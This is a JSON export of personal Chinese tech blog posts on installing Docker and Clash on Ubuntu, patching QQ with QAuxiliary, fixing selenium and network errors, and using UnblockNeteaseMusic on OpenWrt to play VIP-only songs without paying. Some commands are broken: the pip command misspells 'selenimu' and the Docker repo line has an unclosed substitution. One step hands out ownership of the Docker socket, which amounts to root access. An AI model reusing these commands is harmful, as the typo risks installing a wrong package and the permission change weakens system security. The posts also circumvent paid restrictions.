\u003cspan class=\"hljs-built_in\"\u003eecho\u003c/span\u003e \\\n\u003cspan class=\"hljs-string\"\u003e\u0026quot;deb [arch=\u003cspan class=\"hljs-subst\"\u003e$(dpkg --print-architecture signed-by=/etc/apt/keyrings/docker-archive-keyring.gpg] https://mirrors.aliyun.com/docker-ce/linux/ubuntu \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"hljs-subst\"\u003e\u003cspan class=\"hljs-string\"\u003e$(lsb_release -cs)\u003c/span\u003e stable\u0026quot;\u003c/span\u003e | sudo \u003cspan class=\"hljs-built_in\"\u003etee\u003c/span\u003e /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null\u003c/code\u003e\u003c/pre\u003e\n\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo apt-get update \u003cspan class=\"hljs-comment\"\u003e# 更新\u003c/span\u003e\nsudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin \u003cspan class=\"hljs-comment\"\u003e# 安装docker\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"启动docker\"\u003e\u003ca href=\"#启动docker\" class=\"headerlink\" title=\"启动docker\"\u003e\u003c/a\u003e启动docker\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esystemctl \u003cspan class=\"hljs-built_in\"\u003eenable\u003c/span\u003e docker \u003cspan class=\"hljs-comment\"\u003e# 开机启动\u003c/span\u003e\nsystemctl start docker \u003cspan class=\"hljs-comment\"\u003e# 启动docker\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"赋予用户权限\"\u003e\u003ca href=\"#赋予用户权限\" class=\"headerlink\" title=\"赋予用户权限\"\u003e\u003c/a\u003e赋予用户权限\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo \u003cspan class=\"hljs-built_in\"\u003echown\u003c/span\u003e (yourname) /var/run/docker.sock\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"配置镜像加速\"\u003e\u003ca href=\"#配置镜像加速\" class=\"headerlink\" title=\"配置镜像加速\"\u003e\u003c/a\u003e配置镜像加速\u003c/h2\u003e\u003cp\u003e登录\u003ca href=\"https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors\"\u003e阿里云镜像加速\u003c/a\u003e根据文档进行设置镜像加速。\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo \u003cspan class=\"hljs-built_in\"\u003emkdir\u003c/span\u003e -p /etc/docker\nsudo \u003cspan class=\"hljs-built_in\"\u003etee\u003c/span\u003e /etc/docker/daemon.json \u0026lt;\u0026lt;-\u003cspan class=\"hljs-string\"\u003e\u0026#x27;EOF\u0026#x27;\u003c/span\u003e\n\u0026#123;\n \u003cspan class=\"hljs-string\"\u003e\u0026quot;registry-mirrors\u0026quot;\u003c/span\u003e: [\u003cspan class=\"hljs-string\"\u003e\u0026quot;https://qt4gy4oh.mirror.aliyuncs.com\u0026quot;\u003c/span\u003e]\n\u0026#125;\nEOF\nsudo systemctl daemon-reload\nsudo systemctl restart docker\u003c/code\u003e\u003c/pre\u003e\n\n\u003ch2 id=\"测试docker是否安装成功\"\u003e\u003ca href=\"#测试docker是否安装成功\" class=\"headerlink\" title=\"测试docker是否安装成功\"\u003e\u003c/a\u003e测试docker是否安装成功\u003c/h2\u003e\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003edocker run --\u003cspan class=\"hljs-built_in\"\u003erm\u003c/span\u003e hello-world\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e如果拉取失败,参考\u003ca href=\"https://blog.csdn.net/macwinwin/article/details/113967667\"\u003eblog\u003c/a\u003e可以选择执行以下步骤:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e修改DNS\u003cpre\u003e\u003ccode class=\"hljs vim\"\u003e\u003cspan class=\"hljs-keyword\"\u003evim\u003c/span\u003e /etc/resolv.\u003cspan class=\"hljs-keyword\"\u003econf\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\nnameserver改为8.8.8.8\u003c/li\u003e\n\u003cli\u003e重新修改镜像仓库地址\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e若执行了上述步骤,再次执行\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs bash\"\u003esudo systemctl daemon-reload\nsudo systemctl restart docker\ndocker run --\u003cspan class=\"hljs-built_in\"\u003erm\u003c/span\u003e hello-world\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这次应该就可以完美拉取了ヽ(✿゚▽゚)ノ\u003c/p\u003e\n\u003ch1 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h1\u003e\u003cp\u003e真是一场酣畅淋漓的docker安装啊Σ(っ °Д °;)っ\u003c/p\u003e\n\u003cp\u003e由于桌面版比较简单,这里就不再赘述了(@_@;)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/07/27/docker/"},{"title":"大二下收官","time":"2024-07-05T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"大二下学期收官总结\"\u003e\u003ca href=\"#大二下学期收官总结\" class=\"headerlink\" title=\"大二下学期收官总结\"\u003e\u003c/a\u003e大二下学期收官总结\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e结束哩!!!!!\u003c/strong\u003e\u003cbr\u003e\u003cstrong\u003e✧(≖ ◡ ≖✿)我真是嗨到不行啊✧(≖ ◡ ≖✿)\u003c/strong\u003e\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch3 id=\"结束\"\u003e\u003ca href=\"#结束\" class=\"headerlink\" title=\"结束\"\u003e\u003c/a\u003e结束\u003c/h3\u003e\u003cp\u003e 鼠鼠的大二下也是结束哩┗( T﹏T )┛。这学期里面也是学到了许多许多的东西,比如对计算机网络有了比较深入的了解,还收购了一个路由器,玩了玩openwrt(虽然不是自己刷的 ≡ ω ≡)。学习网络的过程非常有趣,也越发觉得自己对网络十分感兴趣,刚好也发现大三可以选一些网络方面的院选课,准备大三再深入学习一下ヾ( ̄▽ ̄)~\u003c/p\u003e\n\u003ch3 id=\"科研\"\u003e\u003ca href=\"#科研\" class=\"headerlink\" title=\"科研\"\u003e\u003c/a\u003e科研\u003c/h3\u003e\u003cp\u003e 此外在科研上也是在学长的教导下,学会了如何做实验,也认识到了其实科研写代码不是那么复杂,pytorch的框架可以学,但是真正要让自己用pytorch手搓一个什么出来也是不可能的,基本都是用别人已经写好的东西就好了,所以还是要多看看别人的代码✧(≖ ◡ ≖✿)\u003c/p\u003e\n\u003ch3 id=\"前端\"\u003e\u003ca href=\"#前端\" class=\"headerlink\" title=\"前端\"\u003e\u003c/a\u003e前端\u003c/h3\u003e\u003cp\u003e 此外捏,也是学习了一些前端的知识。前端三板斧学了html,css,js还没学完,不过这些是上半学期学的,现在感觉都忘记的差不多了ヽ(*。\u0026gt;Д假期里面再看看吧,不过前端还是蛮有趣的(○` 3′○)\u003c/p\u003e\n\u003ch3 id=\"计划\"\u003e\u003ca href=\"#计划\" class=\"headerlink\" title=\"计划\"\u003e\u003c/a\u003e计划\u003c/h3\u003e\u003cp\u003e 本来这学期的计划是学完前端三剑客,再学个docker,还有时间的话学个rust或者flutter,结果被该死的期末考试拖了太久太久,好在最后的成绩也是还行啊( ̄▽ ̄),最起码也还看得过去ヽ(✿゚▽゚)ノ总之呢,兴趣推动学习确实是很不错捏。如果想要像别人那样厉害的话,那就多学点东西叭o(一︿一+)o\u003c/p\u003e\n\u003ch3 id=\"展望\"\u003e\u003ca href=\"#展望\" class=\"headerlink\" title=\"展望\"\u003e\u003c/a\u003e展望\u003c/h3\u003e\u003cp\u003e 希望自己可以在大三的时候,能够做出一些自己想要的东西,或者多学到一点喜欢的技术,毕竟自己还是个菜鸟( ̄▽ ̄)\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/07/06/%E5%A4%A7%E4%BA%8C/"},{"title":"Openwrt UnblockNeteaseMusic使用记录","time":"2024-05-02T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"起始\"\u003e\u003ca href=\"#起始\" class=\"headerlink\" title=\"起始\"\u003e\u003c/a\u003e起始\u003c/h1\u003e\u003cp\u003e最近搞了一个路由器,360t7,从咸鱼上收的二手,已经刷了openwrt系统(本来还想自己刷的(っ*´Д\u0026#96;)っ雾),然后今天就在搞各种路由器软件包,找到了luci-unblockneteasemusic后我十分心动,便开始着手配置,结果遇到各种问题,故记下此篇博客(~ ̄(OO) ̄)ブ\u003c/p\u003e\n\u003ch2 id=\"Openwrt-UnblockNeteaseMusic-使用记录\"\u003e\u003ca href=\"#Openwrt-UnblockNeteaseMusic-使用记录\" class=\"headerlink\" title=\"Openwrt UnblockNeteaseMusic 使用记录\"\u003e\u003c/a\u003eOpenwrt UnblockNeteaseMusic 使用记录\u003c/h2\u003e\u003cp\u003eunblockNeteaseMusic可以用来播放网易云音乐中的灰色歌曲,或者实现免vip播放会员歌曲等功能ヽ(✿゚▽゚)ノ\u003cbr\u003e但是该软件包出的挺早的了,对于最新版的网易云音乐已经无法实现上述功能了(((φ(◎ロ◎;)φ)))\u003cbr\u003e可能是最新版本网易云音乐做了奇奇怪怪的防护措施(-__-)\u0026#x3D;@))\u0026gt; o然后直接把这个东西给ban了。\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\n\u003ch2 id=\"Setup\"\u003e\u003ca href=\"#Setup\" class=\"headerlink\" title=\"Setup\"\u003e\u003c/a\u003eSetup\u003c/h2\u003e\u003cp\u003e360t7路由器 237系统(LuCI openwrt-21.02 \u0026#x2F; LuCI openwrt-21.02)\u003cbr\u003e\u003ca href=\"https://github.com/UnblockNeteaseMusic/luci-app-unblockneteasemusic\"\u003eluci-unblockneteasemusic(JavaScript) 3.2\u003c/a\u003e ps:也可以在luci管理页面下载\u003cbr\u003e\u003ca href=\"https://www.lanzoui.com/ioPkInxh8yf\"\u003e网易云音乐2.7.2(上古版本)\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://pan.baidu.com/s/18zVWFPHZ4PXaKgjc0LXMMg?pwd=8q64\"\u003e安卓极速版网易云音乐\u003c/a\u003e 提取码:8q64\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e\u003ca href=\"#步骤\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e下载好软件包后,在路由器luci设置页面选择服务,选中解除网易云音乐播放限制。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e点击启用服务,其他选项可按照自己意愿选择。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e开启进阶设置,在命令行输入\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs cmd\"\u003e\u003cspan class=\"hljs-built_in\"\u003eping\u003c/span\u003e music.\u003cspan class=\"hljs-number\"\u003e163\u003c/span\u003e.com\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e然后将网易云音乐的ip复制,粘贴到网易云服务器ip。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e设置\u0026#x2F;下载证书及公钥私钥\u003cbr\u003e参考链接\u003ca href=\"https://github.com/nondanee/UnblockNeteaseMusic/issues/48#issuecomment-477870013\"\u003e证书下载\u003c/a\u003e\u003cbr\u003e然后在luci设置页面选择自签发证书的公钥私钥为自签的公钥私钥。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e附上我的配置图\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/05/04/Mob3xTjPWkhZGat.png\" alt=\"meow\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e在windows网易云音乐中设置代理,服务器为你的路由器ip,端口为5200(默认),然后重启网易云音乐,即可实现开头提的功能。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e如果还是不行,考虑将路由器的ipv6给禁用\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003e/etc/init.d/odhcpd disable\n/etc/init.d/odhcpd stop\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e\u003cdel\u003e安卓端设置路由器wifi代理:PAC地址为http:\u0026#x2F;\u0026#x2F;你的路由器ip\u0026#x2F;proxy.pac\u003c/del\u003e\u003cbr\u003e\u003cdel\u003eps:可以在设置前先登录你的账号,然后再设置代理,否则设置代理后你就无法登录了。\u003c/del\u003e\u003cbr\u003e\u003cstrong\u003e上述方法会导致哔哩哔哩报错:无网络连接,其它app是否有这个问题暂时不清楚。\u003c/strong\u003e\u003cbr\u003e\u003cstrong\u003e注:经本人测试,只要连接路由器WIFI,就可以实现上述功能,不需要设置代理。\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e此时你就可以在连接你路由器局域网的情况下在windows和安卓机上面畅享 脚臭 了(\u0026#x2F;\u0026#x2F;\u0026#x2F; ̄皿 ̄)○~\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e 花了很久很久才搞明白这个东西,一直遇到开启服务后网易云音乐会断网的问题怒ε\u0026#x3D;怒ε\u0026#x3D;( o`ω′)ノ\u003c/p\u003e\n\u003cp\u003e 查了很多很多资料,时间都挺早的,应该是大家最近搞这个软件包的人不多,然后我四面八方收集信息之后,终于找到了以上解决办法(ー\u0026#96;´ー)\u003c/p\u003e\n\u003cp\u003e 如果有问题可以联系我 ○| ̄|_\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/05/03/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BD%AF%E4%BB%B6%E6%8A%98%E8%85%BE/"},{"title":"QAuxiliary安装流程","time":"2024-04-28T16:00:00Z","content":"\u003chr /\u003e\u003ch2 id=\"Attention\"\u003e\u003ca href=\"#Attention\" class=\"headerlink\" title=\"Attention\"\u003e\u003c/a\u003eAttention\u003c/h2\u003e\u003cp\u003eQAuxiliary安装是我第一次从头到尾都是自己一步一步摸索出来的(○` 3′○)\u003cbr\u003e因此可能会有一些地方存在问题,可联系我进行更改(u‿ฺu✿ฺ)\u003c/p\u003e\n\u003ch3 id=\"需要提前下载的软件\"\u003e\u003ca href=\"#需要提前下载的软件\" class=\"headerlink\" title=\"需要提前下载的软件\"\u003e\u003c/a\u003e需要提前下载的软件\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003eLSPatch:用于将QAuxiliary模块插入的QQ的APK中。\u003c/li\u003e\n\u003cli\u003eQAuxiliary:To make OICQ great again(๑•̀ㅂ•́)و✧!!!是一个基于QNotified的开源的Xposed框架。\u003c/li\u003e\n\u003cli\u003eShizuku(或许也用不到这个,雾):可以在未root情况下使一些app使用root权限。\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"软件下载链接\"\u003e\u003ca href=\"#软件下载链接\" class=\"headerlink\" title=\"软件下载链接\"\u003e\u003c/a\u003e软件下载链接\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/LSPosed/LSPatch/releases\"\u003eLSPatch\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cinit/QAuxiliary/releases\"\u003eQAuxiliary\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/RikkaApps/Shizuku/releases\"\u003eShizuku\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"安装步骤\"\u003e\u003ca href=\"#安装步骤\" class=\"headerlink\" title=\"安装步骤\"\u003e\u003c/a\u003e安装步骤\u003c/h3\u003e\u003cul\u003e\n\u003cli\u003e安装好上述三个软件ヽ(✿゚▽゚)ノ\u003c/li\u003e\n\u003cli\u003e将当前QQ卸载,重新下载一个QQ的APK,并存放在一个指定目录,不用安装。\u003c/li\u003e\n\u003cli\u003e打开Shizuku,按照软件提示来启动Shizuku服务。\u003c/li\u003e\n\u003cli\u003e启动后给LSPatch软件开放权限。\u003c/li\u003e\n\u003cli\u003e打开LSPatch,在下面这个页面点击+号\u003cimg src=\"https://s2.loli.net/2024/04/29/sHk3aXmh1Wqp6Se.jpg\" alt=\"LSPatch step 1\"\u003e\u003c/li\u003e\n\u003cli\u003e第一次操作需要先随便选择一个目录来存放被注入模块的APK的路径\u003cimg src=\"https://s2.loli.net/2024/04/29/lWJw7VHMnDLyCox.jpg\" alt=\"LSPatch step 2\"\u003e\u003c/li\u003e\n\u003cli\u003e选择好后再选择刚刚下载的QQ APK,然后等待注入成功即可φ(≧ω≦*)♪\u003c/li\u003e\n\u003cli\u003e注入成功后在QQ侧滑栏设置页面即可看到QAuxiliary选项,至此大功告成(๑•̀ㅂ•́)و✧\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"结语\"\u003e\u003ca href=\"#结语\" class=\"headerlink\" title=\"结语\"\u003e\u003c/a\u003e结语\u003c/h2\u003e\u003cp\u003e我好喜欢开源w(゚Д゚)w,虽然还只是一个刚刚接触的小趴菜Σ( ° △ °|||)︴\u003cbr\u003e伟大,无需多言Ψ( ̄∀ ̄)Ψ!\u003c/p\u003e","url":"http://wanglanhuajiaofen.fun/2024/04/29/QAuxiliary/"},{"title":"selenium报错ValueError","time":"2024-03-23T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Selenium-报错ValueError解决\"\u003e\u003ca href=\"#Selenium-报错ValueError解决\" class=\"headerlink\" title=\"Selenium 报错ValueError解决\"\u003e\u003c/a\u003eSelenium 报错ValueError解决\u003c/h1\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e错误\u003cbr\u003e 在python中使用selenium进行网页自动化\u0026#x2F;爬虫操作时,执行下面语句\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs python\"\u003e\u003cspan class=\"hljs-keyword\"\u003efrom\u003c/span\u003e selenium \u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e webdriver\ndriver = webdriver.Edge()\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e 可能会报错:ValueError: Timeout value connect was ……, but it must be an int, float or None…..(\u0026#x2F;- -)\u0026#x2F;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e原因\u003cbr\u003e出错原因:selenium当前版本与urllib3版本不兼容╮(﹀_﹀)╭\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e解决方法\u003cbr\u003e只需要更新为最新版本的selenium与urllib3即可Σ( ° △ °|||)︴\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs python\"\u003epip install -U selenimu\npip install -U urllib3\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e","url":"http://wanglanhuajiaofen.fun/2024/03/24/selenium/"},{"title":"Ubuntu20.04有线网络消失","time":"2024-03-23T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Ubuntu20-04有线网络消失问题解决方法\"\u003e\u003ca href=\"#Ubuntu20-04有线网络消失问题解决方法\" class=\"headerlink\" title=\"Ubuntu20.04有线网络消失问题解决方法\"\u003e\u003c/a\u003eUbuntu20.04有线网络消失问题解决方法\u003c/h1\u003e\u003cul\u003e\n\u003cli\u003e\u003cp\u003e现象\u003cbr\u003e右上角有线网络图标消失,设置中也看不到了(・-・*)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e原因\u003cbr\u003e我个人出现的原因是上次非正常强制关机了,下次开机就看不到有线网络图标了(@_@;)\u003c/p\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e解决方法\u003cbr\u003e打开终端\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003esudo nmcli networking off\nsudo nmcli networking on\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e便可以看到有线网络图标重新出现啦╰(\u003cem\u003e°▽°\u003c/em\u003e)╯\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e","url":"http://wanglanhuajiaofen.fun/2024/03/24/net/"},{"title":"Ubuntu安装+配置clash","time":"2024-02-28T16:00:00Z","content":"\u003chr /\u003e\u003ch1 id=\"Ubuntu23-10安装clash全过程-各种问题解决方案\"\u003e\u003ca href=\"#Ubuntu23-10安装clash全过程-各种问题解决方案\" class=\"headerlink\" title=\"Ubuntu23.10安装clash全过程(各种问题解决方案)\"\u003e\u003c/a\u003eUbuntu23.10安装clash全过程(各种问题解决方案)\u003c/h1\u003e\u003c!-- \u003cfont face=\"逐浪新宋\" color=grey size=6\u003e该篇blog将详细描述自己在ubuntu系统下安装clash的过程和遇到的各种问题与bug_ o( ̄ヘ ̄o#)\u003c/font\u003e --\u003e\n\n\u003chr\u003e\n\u003ch2 id=\"操作步骤\"\u003e\u003ca href=\"#操作步骤\" class=\"headerlink\" title=\"操作步骤\"\u003e\u003c/a\u003e操作步骤\u003c/h2\u003e\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e安装clash包\u003cul\u003e\n\u003cli\u003e\u003cp\u003e在终端中首先开启root权限\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003esu\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cspan id=\"more\"\u003e\u003c/span\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e在当前用户目录中创建名为clash的文件夹(名字自取即可)然后切换到该目录\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003emkdir ./clash\ncd ./clash\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e下载clash的几种方式(因为clash作者删库跑路了,所以无法从作者的仓库中下载)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003ewget + 下载url\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs apache\"\u003e\u003cspan class=\"hljs-attribute\"\u003ewget\u003c/span\u003e https://github.com/Dreamacro/clash/releases/download/v1.\u003cspan class=\"hljs-number\"\u003e14\u003c/span\u003e.\u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e/clash-linux-amd64-v1.\u003cspan class=\"hljs-number\"\u003e14\u003c/span\u003e.\u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e.gz\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e在ubuntu firefox浏览器找github备份仓库直接下载(考验你的网络(☆´益\u0026#96;)c)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这里我直接贴备用仓库的url \u003ca href=\"https://github.com/doreamon-design/clash/releases\" title=\"bushi\"\u003e备用仓库\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e注意选择对应的版本\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/02/29/76kTCNn4QjL5ehA.png\" alt=\"这是我选的版本\" title=\"myversion\"\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e如果显示无法连接,则可能是系统代理的问题(对于我是这样( ̄△ ̄;)),参考下面blog\u003cbr\u003e \u003ca href=\"https://blog.csdn.net/kids_budong_c/article/details/123479499,\" title=\"bushi\"\u003e这是解决大法!\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e解压clash包\u003cbr\u003e我下载的clash包的后缀是.tar.gz\u003cbr\u003e这里可能会遇到如下问题:\u003cul\u003e\n\u003cli\u003e解压后tar后缀还在\u003cbr\u003e解决方法: \u003ccode\u003etar -zxvf 压缩文件名.tar.gz\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e大部分教程给的都是gzip解压,这个方式对我不适用\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e赋予权限\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs linux\"\u003echmod +x 解压缩后的文件名\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e移动\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs linux\"\u003emv 解压缩后的文件名 /usr/local/bin/clash\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cp\u003e查看版本\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs linux\"\u003eclash -v\u003c/code\u003e\u003c/pre\u003e\n\n\u003cul\u003e\n\u003cli\u003e如果这一步报错:无法执行二进制文件,那就是大概你下载的clash包有问题,我的解决方法是用上述第二种方式o(*≧▽≦)ツ┏━┓\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果没有报错,正常显示出了clash版本号,那么到目前为止都非常顺利的成功了(  ̄ー ̄)人(^▽^ )\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e启动clash\u003cul\u003e\n\u003cli\u003e\u003cp\u003e启动clash\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs ebnf\"\u003e\u003cspan class=\"hljs-attribute\"\u003eclash\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e这一步会显示系统缺失有些配置文件,自动会给你下载好\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e导入配置文件(配置文件获取方式不再赘述)\u003cbr\u003e配置文件所在目录:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs arduino\"\u003e$home/.config/clash/\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e.config为隐藏文件夹,对于不熟悉终端的小伙伴在图形界面的文件夹按下CTRL+H即可\u003cbr\u003e将获得的配置文件改名为config.yaml替换上述目录中的config.yaml即可\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e重新启动clash\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"hljs ebnf\"\u003e\u003cspan class=\"hljs-attribute\"\u003eclash\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\u003cp\u003e此时会显示出你的订阅的相关信息,即表示成功\u003cbr\u003e\u003cstrong\u003e在启动clash的条件下,访问以下链接可以进入clash图形控制页面\u003c/strong\u003e\u003cbr\u003e\u003ca href=\"https://clash.razord.top/#/proxies\" title=\"就是我啦Σ(っ °Д °;)っ\"\u003eclash图形控制页面\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu系统网络代理设置\u003cbr\u003e\u003cimg src=\"https://s2.loli.net/2024/02/29/8INVmetSdK9gRWk.png\" alt=\"Alt text\"\u003e\u003cbr\u003e这里我遇到一个问题是,我成功连接了梯子之后仍然翻不了墙,就一直在调这个代理设置,最终在按照上图输入之后可以了 \u003cstrong\u003e但是我不知道是不是因为这个原因才成功的O(≧口≦)O\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003cul\u003e\n\u003cli\u003e设置开机自启\u003cul\u003e\n\u003cli\u003e\u003cp\u003e复制以下片段\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs ini\"\u003e\u003cspan class=\"hljs-attr\"\u003eDescription\u003c/span\u003e=Clash - A rule-based tunnel in Go\n\u003cspan class=\"hljs-attr\"\u003eDocumentation\u003c/span\u003e=https://github.com/Dreamacro/clash/wiki\n\u003cspan class=\"hljs-section\"\u003e[Service]\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eOOMScoreAdjust\u003c/span\u003e=-\u003cspan class=\"hljs-number\"\u003e1000\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eExecStart\u003c/span\u003e=/usr/local/bin/clash -f /home/rongrong/.config/clash/config.yaml \u003cspan class=\"hljs-comment\"\u003e# 注意这里要根据自己的配置路径进行相应的修改\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eRestart\u003c/span\u003e=\u003cspan class=\"hljs-literal\"\u003eon\u003c/span\u003e-failure\n\u003cspan class=\"hljs-attr\"\u003eRestartSec\u003c/span\u003e=\u003cspan class=\"hljs-number\"\u003e5\u003c/span\u003e\n\u003cspan class=\"hljs-section\"\u003e[Install]\u003c/span\u003e\n\u003cspan class=\"hljs-attr\"\u003eWantedBy\u003c/span\u003e=multi-user.target\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cp\u003e依次输入以下命令即可\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"hljs bash\"\u003e\nsystemctl \u003cspan 